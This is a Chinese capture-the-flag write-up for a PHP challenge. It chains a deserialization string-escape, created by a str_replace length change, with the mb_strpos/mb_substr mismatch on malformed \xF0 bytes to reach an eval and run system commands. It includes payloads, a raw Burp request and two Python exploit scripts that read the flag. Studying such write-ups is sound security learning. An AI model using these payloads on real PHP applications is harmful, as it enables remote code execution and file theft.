一、题目
题目:逃跑大师
题目描述:
二、WriteUp
1. 分析php源码
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A{
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A){
$this->A = $A;
}
public function __destruct(){
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
echo $key;
eval($key);
}
}
if(isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
}
else{
echo "nonono";
}
2. mb_substr和mb_strpos函数漏洞
mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。
(1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack:要在其中搜索子字符串的源字符串。
$needle:要搜索的子字符串。
$offset(可选):从哪个位置开始搜索,默认为 0。
$encoding(可选):要使用的字符编码,默认为内部字符编码。
(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。
mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false
$string:要截取的原始字符串。
$start:截取的起始位置。如果是负数,则表示从末尾开始计数。
$length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。
$encoding(可选):要使用的字符编码,默认为内部字符编码。
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<');
(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4);
结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动
3. mb_substr和mb_strpos函数漏洞与本题结合
通过控制C的长度可以控制我们想要执行$key的长度
通过控制B我们可以控制索引值需要提前几位
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
简化源代码 控制$B和$C得到我们想要的$key
<?php
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
$B = "\xf0abc";
$C = "1234567890";
$key = substrstr($B . "[welcome sdpcsec" .$C . "]");
echo $key."\n";
?>
可以看到
每发送一个\xf0abc就会向后3个字节截取
每发送一个\xf0\9fab就会向后2个字节截取
每发送一个\xf0\x9f\x9fa就会向后1个字节截取
[welcome sdpcsec的长度为16,则须发送3*5+1*1(当然还有其他组合方式,如2*8)
即 $B = "\xf0abc\xf0abc\xf0abc\xf0abc\xf0abcd\xf0\x9f\x9fa";
这样$key的值即1234567890],这样可使$C为我们的执行代码
eval函数用于执行php代码,那么可以构造system函数然后使用//或
那么 $C = "system(\"ls\");//"."]";
<?php
error_reporting(0);
$C = "system(\"calc.exe\");//"."]";
eval($C);
$C = "system(\"calc.exe\");#"."]";
eval($C);
?>
4. 使用burpsuite发包
这时候我们可以看到执行到了我们想要的执行结果
POST / HTTP/1.1
Host: 47.98.247.113:1111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
escape=1
5. 简化php源码 进行调试
<?php
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A{
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A){
$this->A = $A;
}
public function __destruct(){
echo "B:".$this->B."\n";
echo "C:".$this->C."\n";
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
echo $key;
}
}
$escape = "123";
$Class = new A($escape);
$Key = serialize($Class);
echo $Key."\n";
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
?>
O:1:"A":3:{s:1:"A";s:3:"123";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
O:1:"A":3:{} 表示这是一个 PHP 对象(Object),其类名为 "A",包含 3 个属性。
s:1:"A";s:3:"123"; 表示对象的第一个属性名为 "A",其值为字符串 "123"。
s:1:"B";s:5:"HELLO"; 表示对象的第二个属性名为 "B",其值为 "HELLO"。
s:1:"C";s:3:"!!!"; 表示对象的第三个属性名为 "C",其值为 "!!!"。
反序列化的特点:
(1)反序列化以;}结束,其后的内容不影响正常的反序列化;
(2)属性值的内容是根据其前面代表字符串长度的整数判断的;
根据(1)可以让A的值中包含;}而让反序列化提前结束,并且输入自定义的B和C的序列化内容进而控制B和C
根据(2)通过字符串替换可以让A的值的长度变长,这样后面构造的B和C的序列化内容就可以正常被反序列化,进而达到可以控制B和C的内容
那么我们payload的构成就应该是
valueA";s:1:"B";s:5:"valueB";s:1:"C";s:3:"valueC";}
#其中valueA为若干个"SDPCSEC"组成,然后个数=len(payload)-len(valueA)
也就是";s:1:"B";s:5:"valueB";s:1:"C";s:3:"valueC";}的长度
6. 最终payload
valueA";s:1:"B";s:5:"\xf0abc\xf0abc\xf0abc\xf0abc\xf0abcd\xf0\x9f\x9fa";s:1:"C";s:3:"system(\"ls\");//]";}
7. exp
(1)官方wp
import os
import re
import requests
def encode(string):
encode_string = ""
for char in string:
encode_char = hex(ord(char)).replace("0x","%")
encode_string += encode_char
return encode_string
def payload(cmd):
key = encode(cmd)
print("url加密:"+encode(cmd))
s = len(cmd)
payload1 = '";s:1:"B";s:29:"%f0abcd%f0abcd%f0abdc%f0abcd%f0abdc%f0%9f%9fa";s:1:"C";s:'+ str(s) + ':"' + cmd + '";}'
payload2 = ""
print(len(str(payload1)))
print(len(payload1)-16)
for i in range(len(payload1)-16):
payload2 += 'SDPCSEC'
payload2 = payload2 + payload1
payload3 = str.replace(payload2, cmd, key)
print("结果:"+payload3)
pay = "system('cat /f*');//"
exp=payload(pay)
POST / HTTP/1.1
Host: 47.98.247.113:1111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 735
escape=SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:29:"%f0abcd%f0abcd%f0abdc%f0abcd%f0abdc%f0%9f%9fa";s:1:"C";s:20:"%73%79%73%74%65%6d%28%27%63%61%74%20%2f%66%2a%27%29%3b%2f%2f";}
(2)自己的exp 官方wp太冗长
import requests
url="http://127.0.0.1:1111"
value_B = b"\xf0abc\xf0abc\xf0abc\xf0abc\xf0abc\xf0\x9f\x9fa"
value_C = "system(\"cat /flag*\");//]"
payload_part1 =f'";s:1:"B";s:{len(value_B)}:"'.encode('utf-8')
payload_part2 = value_B
payload_part3 = f'";s:1:"C";s:{len(value_C)}:"{value_C}";}}'.encode('utf-8')
value_A = ("SDPCSEC" * len(payload_part1 + payload_part2 + payload_part3)).encode('utf-8')
payload = value_A + payload_part1 + payload_part2 + payload_part3
data = {'escape': payload}
response = requests.post(url, data=data)
print(response.text)
三、总结
1. 参考链接
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
https://blog.youkuaiyun.com/m0_73185293/article/details/131353031
2. tips
(1)python发送字节流又发送字符串时,应先把字符串转换为字节流再进行拼接,否则会报错。
(2)mb_substr和mb_strpos函数执行差异
(3)对序列化字符串进行filter、replace等操作,一般为反序列化字符串逃逸
(4)后期需要学习phpstorm+xdebug的调试方法